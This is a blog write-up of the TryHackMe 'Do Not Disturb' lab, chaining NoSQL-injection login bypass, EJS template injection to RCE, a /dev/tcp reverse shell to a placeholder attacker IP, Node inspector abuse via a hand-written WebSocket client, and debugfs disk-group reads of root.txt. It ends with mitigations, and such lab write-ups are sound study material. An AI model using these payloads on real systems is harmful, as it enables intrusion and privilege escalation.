DEV Community

Cover image for TryHackMe : Do Not Disturb Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Do Not Disturb Writeup

TL;DR

Byte Lotus Poolside is a Node.js/Express booking app. A NoSQL injection in
the login endpoint bypasses authentication entirely and lands directly in
the staff role. The staff console's booking-confirmation "template"
feature is a raw EJS render with no sandboxing, giving straightforward
server-side template injection and RCE as the low-privileged poolside
service account. From there, a second Node process owned by a
higher-privileged pipelinesvc account (member of the disk group) is
listening on a loopback debug port. Speaking the Node inspector/Chrome
DevTools protocol directly to that port over a raw WebSocket lets us run
arbitrary JavaScript as pipelinesvc, and that account's disk group
membership allows reading the root partition block device directly with
debugfs, bypassing filesystem permissions to pull root.txt without
ever needing a root shell.

User flag: THM{[REDACTED]}
Root flag: THM{[REDACTED]}


1. Recon

nmap -A -Pn <MACHINE_IP> -o nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Node.js (Express middleware)
|_http-title: "Byte Lotus - Poolside"
Enter fullscreen mode Exit fullscreen mode

Full port sweep confirmed nothing extra:

nmap -A -p- <MACHINE_IP> -o nmap
# same two ports, 22 and 80
Enter fullscreen mode Exit fullscreen mode

The web app is a "Byte Lotus" poolside booking page with a staff/guest
login form posting to /login.

2. Directory discovery

dirsearch -u http://<MACHINE_IP>/ -C 403,404
302 -   23B  - /Logout  ->  /
403 -    2KB - /Staff
Enter fullscreen mode Exit fullscreen mode

/Staff exists but returns 403 without auth - confirms there's a
privileged area worth getting into.

3. NoSQL injection - authentication bypass

Testing a JSON body against /login with MongoDB operator injection
confirmed the backend is Mongo-backed and doesn't sanitize input:

curl -s -X POST http://<MACHINE_IP>/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'
Enter fullscreen mode Exit fullscreen mode
{"ok":true,"role":"guest"}
Enter fullscreen mode Exit fullscreen mode

That confirms the injection lands, but only as guest. The actual login
form posts as regular form-encoded data, not JSON, so switching to
Express's array/bracket syntax (username[$ne]=) lets the same operator
injection ride through body-parser's extended mode, which converts
field[$ne]=value into a nested object automatically:

curl -s -c cookies.txt -X POST http://<MACHINE_IP>/login \
  --data-urlencode "username[\$ne]=" \
  --data-urlencode "password[\$ne]="
Enter fullscreen mode Exit fullscreen mode
Found. Redirecting to /staff
Enter fullscreen mode Exit fullscreen mode

Bracket-notation NoSQL injection on both fields, and the session cookie
this sets grants staff access directly:

curl -L -s -b cookies.txt http://<MACHINE_IP>/staff
Enter fullscreen mode Exit fullscreen mode
<div class="lotus">- staff console -</div>
<h1>Cabana Desk</h1>
<p class="sub">Signed in as <strong>attendant</strong>. Customise the guest booking-confirmation message below.</p>
<form method="post" action="/staff/preview">
  <label>Confirmation template (EJS - use &lt;%= guest %&gt; to personalise)</label>
  <textarea name="template">Dear &lt;%= guest %&gt;, your Byte Lotus cabana is confirmed.</textarea>
  <button type="submit">Preview</button>
</form>
Enter fullscreen mode Exit fullscreen mode

Full staff console access, no credentials needed.

4. Server-side template injection to RCE

The staff console explicitly tells you it's rendering user-controlled EJS
(use <%= guest %> to personalise) - a strong signal the template field
is passed straight into an EJS render call server-side rather than only
substituting the guest variable into a fixed template.

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
  --data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("id") %>'
Enter fullscreen mode Exit fullscreen mode
<pre>uid=996(poolside) gid=996(poolside) groups=996(poolside)
</pre>
Enter fullscreen mode Exit fullscreen mode

Confirmed RCE as the poolside service account. EJS has no output
sandboxing by default, and global.process.mainModule.require(...) is
the standard bypass used when direct require isn't in scope inside an
EJS expression. Escalated straight to a reverse shell:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
  --data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"") %>'
Enter fullscreen mode Exit fullscreen mode
penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.131.0 Linux-x86_64 poolside(996)
poolside@tryhackme-2404:/opt/poolside$ whoami
poolside
Enter fullscreen mode Exit fullscreen mode
poolside@tryhackme-2404:/opt/poolside$ cat /home/poolside/user.txt
THM{[REDACTED]}
Enter fullscreen mode Exit fullscreen mode

5. Finding the escalation path - a second Node process

sudo -l needed a password, no SUID/SGID binaries or writable
sudoers files stood out. ps aux turned up a second Node process running
as a different, unreachable user:

poolside@tryhackme-2404:/home$ ps aux | grep -i node
pipelin+   599  0.0  2.2 856472 44976 ?  Ssl  06:41  0:00 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside   600  4.1  4.4 1043140 87800 ?  Ssl  06:41  0:55 /usr/bin/node app.js
Enter fullscreen mode Exit fullscreen mode

--inspect=127.0.0.1:9229 is the Node.js debugger/inspector flag - it
exposes the full Chrome DevTools Protocol on that port, loopback-only,
running as pipelinesvc:

poolside@tryhackme-2404:/home$ id pipelinesvc
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
Enter fullscreen mode Exit fullscreen mode

pipelinesvc is a member of the disk group - worth remembering for
later.

poolside@tryhackme-2404:/home$ curl -s http://127.0.0.1:9229/json
[ {
  "id": "67032290-875c-4701-9958-38d997feeebb",
  "title": "processor.js",
  "url": "file:///opt/pipelinesvc/telemetry/processor.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/67032290-875c-4701-9958-38d997feeebb"
} ]
Enter fullscreen mode Exit fullscreen mode

Plain curl against the debugger URL just says WebSockets request was
expected
- the inspector protocol requires a proper WebSocket upgrade
handshake, which curl alone can't do for the JSON-RPC session that
follows.

6. Speaking WebSocket to the Node inspector manually

No websocket/websockets Python module was installed on the box, so
the handshake and frame encoding were done by hand - a WebSocket upgrade
is just an HTTP Upgrade header exchange, and a text frame is a simple
opcode + masked-payload structure:

import socket, base64, os, json, struct

HOST, PORT = "127.0.0.1", 9229
key = base64.b64encode(os.urandom(16)).decode()

s = socket.create_connection((HOST, PORT))
req = (
    f"GET /67032290-875c-4701-9958-38d997feeebb HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Upgrade: websocket\r\n"
    f"Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\n"
    f"Sec-WebSocket-Version: 13\r\n\r\n"
)
s.send(req.encode())
print(s.recv(4096))

def send_frame(payload):
    data = payload.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
    length = len(data)
    if length < 126:
        header = struct.pack("!BB", 0x81, 0x80 | length)
    else:
        header = struct.pack("!BBH", 0x81, 0x80 | 126, length)
    s.send(header + mask + masked)

cmd = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "global.process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash').toString()"
    }
}
send_frame(json.dumps(cmd))
print(s.recv(65536))
Enter fullscreen mode Exit fullscreen mode
b'HTTP/1.1 101 Switching Protocols\r\n...'
b'{"id":1,"result":{"result":{"type":"string","value":""}}}'
Enter fullscreen mode Exit fullscreen mode

The Runtime.evaluate method of the Chrome DevTools Protocol executes
arbitrary JavaScript inside the target Node process - here, used to run a
child_process.execSync call that copies /bin/bash to /tmp/rootbash
and sets the SUID bit, all executing with pipelinesvc's real UID/GID:

poolside@tryhackme-2404:/home$ ls -la /tmp/rootbash
-rwsr-xr-x 1 pipelinesvc pipelinesvc 1446024 Aug  4 07:05 /tmp/rootbash
poolside@tryhackme-2404:/home$ /tmp/rootbash -p
rootbash-5.2$ whoami
pipelinesvc
Enter fullscreen mode Exit fullscreen mode

7. Root flag via disk group, not a root shell

euid=995(pipelinesvc) from the SUID bash shell still only carried the
poolside account's original supplementary group list
(groups=996(poolside)) - bash -p preserves the real UID's group
memberships, it doesn't pick up pipelinesvc's disk group membership.
So debugfs against the raw block device failed from that shell:

rootbash-5.2$ debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1
debugfs: Permission denied while trying to open /dev/nvme0n1p1
Enter fullscreen mode Exit fullscreen mode

The fix: run the privileged read inside the original Node inspector RCE
instead of through the SUID bash detour - that JavaScript executes
natively as the full pipelinesvc process, with its real group list
(disk) intact, giving direct read access to the underlying block
device:

cmd = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "global.process.mainModule.require('child_process').execSync('debugfs -R \\'cat /root/root.txt\\' /dev/nvme0n1p1').toString()"
    }
}
Enter fullscreen mode Exit fullscreen mode
b'{"id":1,"result":{"result":{"type":"string","value":"debugfs 1.47.0 (5-Feb-2023)\\nTHM{[REDACTED]}\\n"}}}'
Enter fullscreen mode Exit fullscreen mode

debugfs reads the ext4 filesystem directly off the raw partition,
completely bypassing normal file permission checks (root.txt is
-rw-r----- root-owned) - membership in the disk group and raw
/dev/nvme0n1p1 access is effectively root-equivalent file read, even
without ever obtaining a root shell.


Key vulnerabilities

# Weakness Detail
1 NoSQL injection - auth bypass /login builds a Mongo query directly from unsanitized user input; bracket-notation form fields (username[$ne]=) parse into a $ne operator object via body-parser's extended mode, letting any request authenticate as staff with no valid credentials.
2 Server-side template injection (SSTI) /staff/preview renders the user-supplied template field as live EJS with no sandboxing, giving direct RCE via global.process.mainModule.require(...).
3 Exposed Node inspector debug port pipelinesvc's processor.js runs with --inspect=127.0.0.1:9229 in what looks like a production environment, exposing the full Chrome DevTools Protocol (arbitrary JS execution) to any local user who can reach loopback.
4 Overprivileged group membership pipelinesvc belongs to the disk group, granting raw read/write access to block devices - equivalent to bypassing all filesystem permission checks on that disk.

Attack chain

NoSQL injection on /login (username[$ne]=, password[$ne]=)
        |
        v
Staff session with no valid credentials
        |
        v
/staff/preview - unsandboxed EJS template render (SSTI)
        |
        v
RCE as poolside -> reverse shell -> user.txt
        |
        v
ps aux reveals pipelinesvc's node --inspect=127.0.0.1:9229 processor.js
        |
        v
Manual WebSocket handshake + Runtime.evaluate (Chrome DevTools Protocol)
        |
        v
Arbitrary JS execution as pipelinesvc (member of disk group)
        |
        v
debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1  ->  root.txt read directly
        |
        v
(SUID bash copy also created, but useless here since it loses pipelinesvc's group membership)
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Never build database queries directly from unsanitized request bodies. Explicitly validate/whitelist input types (e.g. reject non-string username/password values) or use a query-building layer that doesn't allow raw operator injection like Mongoose schemas with strict typing, or a library such as mongo-sanitize.
  • Never render user-supplied strings as live templates. If customizable templates are a real product requirement, use a sandboxed templating approach (restricted variable substitution only, no arbitrary expression evaluation) rather than passing input straight into ejs.render().
  • Never run --inspect/--inspect-brk in production, even bound to loopback - any local process (including a compromised low-privilege web app account) can reach it and gain full code execution in the context of whatever account started that Node process.
  • Apply least privilege to service accounts. disk group membership is effectively root-equivalent file access and should never be granted to an application service account unless absolutely required, and even then should be scoped far more narrowly (e.g. a specific loop device, not the boot disk).

Top comments (0)